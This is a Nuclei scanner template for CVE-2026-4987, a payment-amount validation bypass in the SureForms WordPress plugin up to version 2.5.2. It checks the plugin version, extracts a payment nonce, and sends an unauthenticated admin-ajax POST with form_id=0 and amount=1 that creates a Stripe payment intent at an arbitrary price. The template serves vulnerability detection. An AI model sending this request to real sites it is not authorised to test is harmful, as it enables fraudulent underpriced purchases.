id: CVE-2026-4987 info: name: SureForms <= 2.5.2 - Unauthenticated Payment Amount Validation Bypass via form_id author: iamatownboy severity: high description: | The SureForms plugin for WordPress is vulnerable to payment amount validation bypass in versions up to, and including, 2.5.2. The create_payment_intent AJAX handler checks `if ($form_id > 0 && !empty($block_id))` before calling validate_payment_amount(). By sending form_id=0 (the default intval of a missing/zero value), an unauthenticated attacker completely skips the server-side amount validation and can create Stripe payment intents with arbitrary amounts, bypassing configured pricing. impact: | Unauthenticated attackers can create underpriced payment or subscription intents and complete purchases at fraudulent prices. remediation: | Update SureForms to version 2.6.0 or later. reference: - https://nvd.nist.gov/vuln/detail/CVE-2026-4987 - https://www.wordfence.com/threat-intel/vulnerabilities/id/c4772b32-a730-44f2-b43c-f9bd5abb6541?source=cve - https://plugins.trac.wordpress.org/changeset/3488858/sureforms classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N cvss-score: 7.5 cve-id: CVE-2026-4987 epss-score: 0.00707 epss-percentile: 0.50694 cwe-id: CWE-20 metadata: verified: true max-request: 3 vendor: brainstormforce product: sureforms framework: wordpress publicwww-query: "/wp-content/plugins/sureforms/" tags: cve,cve2026,wordpress,wp,wp-plugin,sureforms,payment,validation-bypass,unauth flow: http(1) && http(2) && http(3) http: - method: GET path: - "{{BaseURL}}/wp-content/plugins/sureforms/readme.txt" matchers: - type: dsl dsl: - contains(body, "SureForms") - compare_versions(version, "<= 2.5.2") condition: and internal: true extractors: - type: regex name: version part: body group: 1 regex: - '(?i)Stable tag:\s*([0-9.]+)' internal: true - method: GET path: - "{{BaseURL}}/wp-json/sureforms/v1/refresh-nonces" matchers: - type: word part: body words: - "payment_nonce" internal: true extractors: - type: regex name: payment_nonce part: body group: 1 regex: - '"payment_nonce"\s*:\s*"([a-f0-9]+)"' internal: true - raw: - | POST /wp-admin/admin-ajax.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded Origin: {{BaseURL}} Referer: {{BaseURL}}/ action=srfm_create_payment_intent&nonce={{payment_nonce}}&amount=1¤cy=usd&form_id=0&block_id=&description=SureForms&customer_email=test@example.com&customer_name=test matchers-condition: and matchers: - type: word part: body words: - "client_secret" - "payment_intent_id" - "API Key provided" condition: or - type: word part: body words: - "Invalid nonce" negative: true - type: status status: - 200 # digest: 4a0a00473045022019f294efd4eb2ec07978fe1b344754316cc712c5d81b76915e9e01a41e15fdcc022100d0fab892da3e3779282daf5d039a67a644fbf8868e016be19d8dc4510b7fbfbb:922c64590222798bb761d5b6d8e72950